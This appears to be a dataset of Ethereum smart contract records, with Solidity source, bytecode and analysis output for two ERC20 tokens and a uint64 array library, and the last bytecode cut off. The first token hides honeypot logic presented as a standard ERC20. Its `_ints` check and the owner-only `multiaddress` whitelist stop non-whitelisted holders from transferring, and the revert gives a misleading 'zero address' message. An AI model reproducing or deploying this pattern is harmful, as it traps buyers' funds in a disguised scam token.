_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c74a59f1237f697f49e170285d096423534155875f1bc30ba3e3f20d3821674264736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,027
0xbd930691d908752fd4fba2b11a5b8af3f441fc72
// SPDX-License-Identifier: MIT /* ____ _ ____ / ___(_) __ _ __ _| _ \ _ __ __ _ __ _ ___ _ __ | | _| |/ _` |/ _` | | | | '__/ _` |/ _` |/ _ \| '_ \ | |_| | | (_| | (_| | |_| | | | (_| | (_| | (_) | | | | \____|_|\__, |\__,_|____/|_| \__,_|\__, |\___/|_| |_| |___/ |___/ Token Name: GigaDragon Token Symbol: GDAG Total Supply: 100000000000 Decimals: 18 */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Lite is IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { uint256 senderBalance = _balances[sender]; require(senderBalance >= amount); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract GigaDragonToken is ERC20Lite { uint16 FavouriteNumber = 14632; constructor(uint256 totalSupply_, string memory name_, string memory symbol_) ERC20Lite(name_, symbol_) payable { _totalSupply = totalSupply_; _balances[msg.sender] = totalSupply_; _approve(msg.sender, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, totalSupply_); emit Transfer(address(0), msg.sender, totalSupply_); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103bc565b60405180910390f35b6100c96100c436600461042d565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610457565b610232565b604051601281526020016100ad565b6100dd61011b366004610493565b6001600160a01b031660009081526020819052604090205490565b6100a0610288565b6100c961014c36600461042d565b610297565b6100dd61015f3660046104b5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b606060038054610199906104e8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906104e8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60006102293384846102a4565b50600192915050565b600061023f848484610305565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561027057600080fd5b61027d85338584036102a4565b506001949350505050565b606060048054610199906104e8565b6000610229338484610305565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166000908152602081905260409020548181101561032b57600080fd5b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610362908490610522565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103ae91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156103e9578581018301518582016040015282016103cd565b818111156103fb576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461042857600080fd5b919050565b6000806040838503121561044057600080fd5b61044983610411565b946020939093013593505050565b60008060006060848603121561046c57600080fd5b61047584610411565b925061048360208501610411565b9150604084013590509250925092565b6000602082840312156104a557600080fd5b6104ae82610411565b9392505050565b600080604083850312156104c857600080fd5b6104d183610411565b91506104df60208401610411565b90509250929050565b600181811c908216806104fc57607f821691505b60208210810361051c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000821982111561054357634e487b7160e01b600052601160045260246000fd5b50019056fea26469706673582212209bd4c04e7de7beaf3b66f48cacb08ae0402298dcb4f56e1eecba8303aaf9eebb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,028
0x0a58508723737061b5b464dcf0e840f760c50db9
pragma solidity 0.4.21; /** * @title Array64 Library * @author Modular Inc, https://modular.network * * version 1.2.0 * Copyright (c) 2017 Modular, Inc * The MIT License (MIT) * https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE * * The Array64 Library provides a few utility functions to work with * storage uint64[] types in place. Modular provides smart contract services * and security reviews for contract deployments in addition to working on open * source projects in the Ethereum community. Our purpose is to test, document, * and deploy reusable code onto the blockchain and improve both security and * usability. We also educate non-profits, schools, and other community members * about the application of blockchain technology. * For further information: Modular.network * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Array64Lib { /// @dev Sum vector /// @param self Storage array containing uint256 type variables /// @return sum The sum of all elements, does not check for overflow function sumElements(uint64[] storage self) public view returns(uint256 sum) { uint256 term; uint8 remainder; assembly { mstore(0x60,self_slot) for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) remainder := mod(i,4) for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } { term := div(term,4294967296) } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) sum := add(term,sum) } } } /// @dev Returns the max value in an array. /// @param self Storage array containing uint256 type variables /// @return maxValue The highest value in the array function getMax(uint64[] storage self) public view returns(uint64 maxValue) { uint256 term; uint8 remainder; assembly { mstore(0x60,self_slot) maxValue := 0 for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) remainder := mod(i,4) for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } { term := div(term,4294967296) } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) switch lt(maxValue, term) case 1 { maxValue := term } } } } /// @dev Returns the minimum value in an array. /// @param self Storage array containing uint256 type variables /// @return minValue The highest value in the array function getMin(uint64[] storage self) public view returns(uint64 minValue) { uint256 term; uint8 remainder; assembly { mstore(0x60,self_slot) for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) remainder := mod(i,4) for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } { term := div(term,4294967296) } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) switch eq(i,0) case 1 { minValue := term } switch gt(minValue, term) case 1 { minValue := term } } } } /// @dev Finds the index of a given value in an array /// @param self Storage array containing uint256 type variables /// @param value The value to search for /// @param isSorted True if the array is sorted, false otherwise /// @return found True if the value was found, false otherwise /// @return index The index of the given value, returns 0 if found is false function indexOf(uint64[] storage self, uint64 value, bool isSorted) public view returns(bool found, uint256 index) { if (isSorted) { uint256 high = self.length - 1; uint256 mid = 0; uint256 low = 0; while (low <= high) { mid = (low+high)/2; if (self[mid] == value) { found = true; index = mid; low = high + 1; } else if (self[mid] < value) { low = mid + 1; } else { high = mid - 1; } } } else { for (uint256 i = 0; i<self.length; i++) { if (self[i] == value) { found = true; index = i; i = self.length; } } } } /// @dev Utility function for heapSort /// @param index The index of child node /// @return pI The parent node index function getParentI(uint256 index) private pure returns (uint256 pI) { uint256 i = index - 1; pI = i/2; } /// @dev Utility function for heapSort /// @param index The index of parent node /// @return lcI The index of left child function getLeftChildI(uint256 index) private pure returns (uint256 lcI) { uint256 i = index * 2; lcI = i + 1; } /// @dev Sorts given array in place /// @param self Storage array containing uint256 type variables function heapSort(uint64[] storage self) public { if(self.length > 1){ uint256 end = self.length - 1; uint256 start = getParentI(end); uint256 root = start; uint256 lChild; uint256 rChild; uint256 swap; uint64 temp; while(start >= 0){ root = start; lChild = getLeftChildI(start); while(lChild <= end){ rChild = lChild + 1; swap = root; if(self[swap] < self[lChild]) swap = lChild; if((rChild <= end) && (self[swap]<self[rChild])) swap = rChild; if(swap == root) lChild = end+1; else { temp = self[swap]; self[swap] = self[root]; self[root] = temp; root = swap; lChild = getLeftChildI(root); } } if(start == 0) break; else start = start - 1; } while(end > 0){ temp = self[end]; self[end] = self[0]; self[0] = temp; end = end - 1; root = 0; lChild = getLeftChildI(0); while(lChild <= end){ rChild = lChild + 1; swap = root; if(self[swap] < self[lChild]) swap = lChild; if((rChild <= end) && (self[swap]<self[rChild])) swap = rChild; if(swap == root) lChild = end + 1; else { temp = self[swap]; self[swap] = self[root]; self[root] = temp; root = swap; lChild = getLeftChildI(root); } } } } } /// @dev Removes duplicates from a given array. /// @param self Storage array containing uint256 type variables function uniq(uint64[] storage self) public returns (uint256 length) { bool contains; uint256 index; for (uint256 i = 0; i < self.length; i++) { (contains, index) = indexOf(self, self[i], false); if (i > index) { for (uint256 j = i; j < self.length - 1; j++){ self[j] = self[j + 1]; } delete self[self.length - 1]; self.length--; i--; } } length = self.length; } }
0x730a58508723737061b5b464dcf0e840f760c50db9301460606040526004361061008f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307f0f45014610094578063211ff895146100b757806387c1b9cd146100f7578063b2b6f11b14610137578063d4a52b4c1461018c578063f17f80fd146101b8575b600080fd5b811561009f57600080fd5b6100b560048080359060200190919050506101ef565b005b6100cd6004808035906020019091905050610856565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b61010d60048080359060200190919050506108db565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b61016b600480803590602001909190803567ffffffffffffffff169060200190919080351515906020019091905050610972565b60405180831515151581526020018281526020019250505060405180910390f35b6101a26004808035906020019091905050610b10565b6040518082815260200191505060405180910390f35b81156101c357600080fd5b6101d96004808035906020019091905050610b81565b6040518082815260200191505060405180910390f35b600080600080600080600060018880549050111561084c576001888054905003965061021a87610d0d565b95508594505b6000861015156104b85785945061023686610d2b565b93505b868411151561049f57600184019250849150878481548110151561025957fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff16888381548110151561029b57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156102d9578391505b86831115801561036a575087838154811015156102f257fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff16888381548110151561033457fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff16105b15610373578291505b848214156103865760018701935061049a565b878281548110151561039457fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff16905087858154811015156103ce57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff16888381548110151561040657fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080888681548110151561045057fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555081945061049785610d2b565b93505b610239565b60008614156104ad576104b8565b600186039550610220565b5b600087111561084b5787878154811015156104d057fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff16905087600081548110151561050b57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff16888881548110151561054357fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508088600081548110151561058e57fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600187039650600094506105dd6000610d2b565b93505b868411151561084657600184019250849150878481548110151561060057fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff16888381548110151561064257fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff161015610680578391505b8683111580156107115750878381548110151561069957fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff1688838154811015156106db5